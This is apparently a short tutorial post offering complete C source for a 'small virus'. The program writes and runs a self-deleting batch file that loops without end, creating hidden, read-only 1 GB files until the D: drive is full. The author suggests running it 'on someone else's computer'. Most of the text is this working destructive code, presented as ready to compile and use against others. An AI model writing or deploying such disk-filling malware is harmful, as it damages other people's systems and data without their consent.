C language small virus 01 bursting the d disk
train of thought
1. Use c language to create a batch file on the windows system, that is, a bat file.
2. Use C language to write the required operations into this file.
3. Execute this file with C language.
the code
You can compile the code, but run it on a virtual machine or someone else's computer.
#include<stdio.h>
#include<stdlib.h>
void f(){
//编写毒文件
FILE* f;
f = fopen("d:\\winSystemaa.bat", "w");//创建毒文件
fputs("SET /A a=0\n", f);//设置变量,拼接名字,防止重复
fputs(":a1\n", f);//设置批处理块,便于无限调用
fputs("fsutil file createnew d:\\sys%a%.ini 1073741824 >nul 2>nul\n", f);//创建1G的文件
fputs("attrib +s +a +h +r d:\sys%a%.ini >nul 2>nul\n", f);//将该文件设置为隐藏
fputs("set /A a=%a%+1\n", f);//变量增1
fputs("goto a1\n", f);//递归调用
fclose(f); //关闭毒文件
}
void g(){
system("d:\\winSystemaa.bat");//执行毒文件
system("del d:\\winSystemaa.bat");//删除毒文件
}
int main(){
f();//创建“毒”文件函数
g();//执行读文件函数
}
demo
You can see that the d disk on the virtual machine has 29.9G
After double-clicking the compiled exe file above